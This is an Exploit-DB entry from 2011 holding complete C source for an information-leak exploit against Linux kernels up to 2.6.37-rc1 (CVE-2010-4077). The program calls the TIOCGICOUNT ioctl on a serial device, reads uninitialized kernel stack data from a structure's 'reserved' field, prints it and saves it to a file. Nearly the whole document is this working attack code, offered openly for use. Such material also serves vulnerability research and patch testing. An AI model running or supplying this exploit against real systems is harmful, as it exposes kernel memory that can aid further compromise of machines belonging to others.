Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak

EDB-ID:

16973


Author:

prdelka

Type:

dos


Platform:

Linux

Date:

2011-03-14


/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
 * ================================================ 
 * Information leak exploit for CVE-2010-4077 which
 * leaks kernel stack space back to userland due to
 * uninitialized struct member "reserved" in struct
 * serial_icounter_struct copied to userland. uses 
 * ioctl to trigger memory leak, dumps to file and 
 * displays to command line.
 *
 * -- prdelka
 *
 */
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h>	
#include <string.h>

int main(int argc, char* argv[]) {
    int fd, ret = 0, i;
    struct serial_icounter_struct buffer;
    printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
    if(argc < 2){
	printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
	exit(-1);
    };
    memset(&buffer,0,sizeof(buffer));
    if((fd = open(argv[1], O_RDONLY)) == -1){
	printf("[ Couldn't open %s\n",argv[1]);
	exit(-1);
    }
    if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
	printf("[ Problem with ioctl() request\n");
	exit(-1);
    }
    close(fd); 
    for(i=0;i<=9;i++){
            printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
    };
    if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
	printf("[ Can't open file to write memory out\n");
	exit(-1);
    }
    for(i=0;i<=9;i++){
	    ret += write(fd,&buffer.reserved[i],sizeof(int));
    }
    close(fd);
    printf("[ Written %d leaked bytes to ./leak\n",ret);
    exit(0);
}